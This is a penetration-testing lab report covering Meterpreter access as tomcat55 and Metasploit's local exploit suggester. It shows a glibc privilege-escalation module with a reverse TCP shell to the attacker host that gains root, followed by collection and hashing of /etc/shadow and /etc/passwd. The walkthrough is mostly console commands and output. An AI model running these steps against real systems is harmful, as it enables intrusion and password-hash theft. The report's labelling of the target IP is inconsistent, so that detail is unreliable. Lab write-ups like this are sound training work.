



Post-Exploitation & Evidence Collection Report

Overview

This report documents the post-exploitation and evidence collection phase of a Vulnerability Assessment and Penetration Testing (VAPT) engagement conducted against a controlled lab environment. The assessment was carried out under authorised conditions as part of Lab exercise, with the sole objective of demonstrating real-world attack techniques, forensic evidence handling, and chain-of-custody procedures in a safe, isolated setting.

Post-Exploitation

Following the establishment of initial access through a Meterpreter reverse shell (Session 1) under the low-privileged user account tomcat55, the post-exploitation phase was initiated. This phase focused on two core activities: privilege escalation and forensic evidence collection.

```
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/http/tomcat_mgr_deploy) > sessions
```

Active sessions		
=====		
Id	Name	Type

1	meterpreter	java/linux

Information	Connection

tomcat55 @ metasploitabl	192.168.24.128:4444 -> 1
e	92.168.24.130:53285 (192
• dev@tomcat.apac	.168.24.130)

Fig 1: Sessions

To identify viable escalation vectors, the active session was placed in the background using the **background** command to allow additional modules to be executed within Metasploit. To identify potential privilege escalation vectors, the **Local Exploit Suggester** module was executed.

Commands:

- use post/multi/recon/local_exploit_suggester
- set SESSION 1



Local Exploit Suggester : The module analysed the compromised system and identified multiple potential local privilege escalation vulnerabilities based on the target's kernel version, installed libraries, and system configuration.

```
msf exploit(multi/http/tomcat_mgr_deploy) > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.24.130 - Collecting local exploits for java/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.24.130 - 225 exploit checks are being tried...
[*] 192.168.24.130 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The service is running, but could not be validated. /bin/ping is not setuid
[*] 192.168.24.130 - exploit/linux/local/glibc_origin_expansion_priv_esc: The service is running, but could not be validated. /bin/ping is not setuid
[*] 192.168.24.130 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.24.130 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.24.130 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.24.130 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.24.130 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] Running check method for exploit 81 / 81
[*] 192.168.24.130 - Valid modules for session 1:
=====
#  Name                               Potentially Vulnerable?  Check Result
-  ----                               -  -
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes                      The service is running, but could not be validated. /bin/ping is not setuid
2  exploit/linux/local/glibc_origin_expansion_priv_esc  Yes                      The service is running, but could not be validated. /bin/ping is not setuid
3  exploit/linux/local/netfilter_priv_esc_ipv4          Yes                      The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc       Yes                      The service is running, but could not be validated.
5  exploit/linux/local/su_login                         Yes                      The target appears to be vulnerable.
```

Fig 2: Potential Exploits

From the suggested results, the

exploit/linux/local/glibc_ld_audit_dso_load_priv_esc

module was selected and executed against the active session, successfully escalating privileges from user **tomcat55** to **root**, confirming full system compromise.

Configuration

- set SESSION 1
- set PAYLOAD linux/x86/meterpreter/reverse_tcp
- set LHOST 192.168.24.128
- set LPORT 8888

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.24.128:8888
[*] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.W9vYLL' (1271 bytes) ...
[*] Writing '/tmp/.322bs' (276 bytes) ...
[*] Writing '/tmp/.w80qHhe' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1062760 bytes) to 192.168.24.130
[*] Meterpreter session 2 opened (192.168.24.128:8888 -> 192.168.24.130:53188) at 2026-04-24 06:24:42 -0400

meterpreter > shell
Process 18886 created.
Channel 1 created.
uid
/bin/sh: line 1: uid: command not found
id
uid=0(root) gid=0(root) groups=65534(nogroup)
```

Fig 3: Post-Exploitation



Evidence Collection Summary

After gaining initial access as user **tomcat55** via Meterpreter (Session 1), the session was backgrounded and the **post/multi/recon/local_exploit_suggester** module was executed to identify privilege escalation vectors. Based on the results, the **exploit/linux/local/glibc_ld_audit_dso_load_priv_esc** module was selected and configured with the active session. The exploit was successfully executed, resulting in root-level access. Following privilege escalation to root on the target (192.168.24.128), critical system files (/etc/passwd, /etc/shadow) and HTTP network traffic were collected. All artefacts were SHA-256 hashed and logged to maintain an unbroken chain of custody, supporting forensic integrity throughout the engagement.

Command:

```
$ sha256sum /etc/shadow
```

```
7f9f08e29620f196a409890a742738c61644f67a1f8e879db8317b674b16c762
```

Item	Description	SHA256 Hash (truncated)
Config File	/etc/passwd	af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c7c733d42
Shadow File	/etc/shadow	7f9f08e29620f196a409890a742738c61644f67a1f8e879db8317b674b16c762